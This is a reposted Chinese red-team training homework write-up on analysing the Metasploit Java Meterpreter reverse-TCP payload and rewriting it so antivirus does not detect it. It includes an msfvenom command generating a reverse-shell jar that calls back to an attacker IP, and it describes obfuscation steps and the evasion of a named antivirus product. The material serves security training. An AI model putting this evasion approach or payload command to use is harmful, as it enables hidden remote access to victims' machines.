栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

红队作业 | 免杀Meterpreter java马

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

红队作业 | 免杀Meterpreter java马

文章来源|MS08067 红队培训班 第5期

本文作者:aeqaq(红队培训班5期学员)


按老师要求尝试完成布置的作业如下:

目标:

分析msf meterpreter java马的原理,然后自己写一个保留了核心逻辑的,来达到免杀效果。

1.生成马
msf6 > use java/meterpreter/reverse_tcp
msf6 payload(java/meterpreter/reverse_tcp) > msfvenom -p java/meterpreter/reverse_tcp LHOST=1.117.xxxxxx  LPORT=4444 W >text.jar
2.反编译分析源码 2.1用jd-gui反编译源码导出

也可以把jar包直接拖到idea里


2.2分析源码

MAINFEST.MF

jar包的签名文件,在里面找到加载入口类metasploit/Payload.class

metasploit.dat文件

里面存储了服务器端设置的ip和端口,还有一个Spawn参数

跟进到主类Payload进行分析,直接看main方法

最开始是一些读取文件和数据

接下来是做了一个文件的生成和删除,因为在metasploit.dat中,没有Executable这个属性,所以可以跳过

接下来是进入这个if判断,第一次的时候i==2,详细的在注释里面,因为代码水平较差,所以基本上每一步都解释了

这里主要是递归,创建了自己并且执行,然后把创建的都删了(i>0)的时候,就是Spawn参数>0的时候,是为了逃避杀软分析内存调用

下面一个else if应该是跳过的,看最后一个else,也就是i<=0的时候

 

核心:在这里执行字节码


3.尝试实现免杀

思路:

保留关键步骤,删去不必要的步骤,添加混淆步骤

在局域网进行测试

主要就是socket的建立和bootstrap方法保留下来

尝试方法:

1.写死ip和端口

2.添加混淆方法

3.更换方法,参数名字

尝试初期:总是timeout

Exception in thread "main" java.net.ConnectException: Connection timed out: connect

需要配合服务器端的msf监听器,去在Properties里把他设置的和msf端一样


火绒没报毒

回连正常

红队攻防 第5期 火热报名中

报名咨询联系小客服

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前50000+人已关注加入我们

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/709198.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号